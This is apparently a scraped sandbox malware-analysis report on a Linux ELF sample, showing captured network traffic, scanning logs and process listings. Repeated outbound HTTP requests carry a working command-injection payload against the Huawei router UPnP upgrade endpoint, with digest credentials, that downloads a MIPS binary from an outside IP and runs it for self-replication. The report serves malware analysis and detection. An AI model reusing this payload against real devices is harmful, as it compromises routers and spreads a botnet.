xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:22.490088940 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Feb 12, 2024 19:19:32.191941977 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:32.881414890 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:34.225332975 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Feb 12, 2024 19:20:36.033512115 CET	836	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:20:36.357983112 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Source: global traffic	TCP traffic: 192.168.2.15:44350 -> 45.155.91.135:21425
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 41.221.8.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.245.244.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 41.24.103.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 71.176.94.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.145.189.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 146.9.125.197:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 65.177.233.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.93.115.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 217.203.129.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 197.23.85.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.28.172.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 200.117.135.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.74.39.23:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.149.230.163:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 41.129.231.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 68.169.138.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.214.48.136:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 102.146.12.253:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 41.25.40.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 117.170.146.180:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 197.201.21.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.143.110.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 197.15.150.222:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.10.91.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 41.129.60.242:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 76.57.224.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 197.206.26.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.161.246.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 36.7.164.205:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 41.48.248.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 157.101.96.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 41.171.215.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 41.126.238.193:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 197.193.45.176:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 211.135.148.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 197.30.239.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 104.95.35.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 197.111.30.243:37215
Source: global traffic	TCP traffic: 192.168.2.15:62262 -> 41.45.74.39:37215

Start time (UTC):	18:18:42
Start date (UTC):	12/02/2024
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Start time (UTC):	18:18:43
Start date (UTC):	12/02/2024
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Start time (UTC):	18:18:44
Start date (UTC):	12/02/2024
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Start time (UTC):	18:18:45
Start date (UTC):	12/02/2024
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Start time (UTC):	18:18:50
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	/tmp/mu3Tajj6Po.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:18:58
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:18:59
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:19:05
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:19:13
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:19:14
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mu3Tajj6Po.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/lib/fwupd/gnupg/.#lk0x0000557fd844db80.galassia.5510

/var/lib/fwupd/gnupg/.#lk0x000055970afa8b80.galassia.5508

/var/lib/fwupd/gnupg/.#lk0x000055be8c531b80.galassia.5504

/var/lib/fwupd/gnupg/.#lk0x000055ec919e3b80.galassia.5502

/var/lib/fwupd/gnupg/pubring.kbx.tmp

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: fwupd PID: 5490, Parent PID: 1

General

Chronological Activities

Analysis Process: gpgconf PID: 5490, Parent PID: 1

General

Chronological Activities

Analysis Process: fwupd PID: 5492, Parent PID: 1

General

Chronological Activities

Analysis Process: gpgconf PID: 5492, Parent PID: 1

General

Chronological Activities

Analysis Process: fwupd PID: 5494, Parent PID: 1

General

Chronological Activities

Linux Analysis Report
mu3Tajj6Po.elf

Start time (UTC):	18:19:20
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:19:29
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:19:35
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:19:44
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:19:50
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:19:59
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:20:04
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:20:05
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:20:14
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:20:19
Start date (UTC):	12/02/2024
Path:	/tmp/mu3Tajj6Po.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6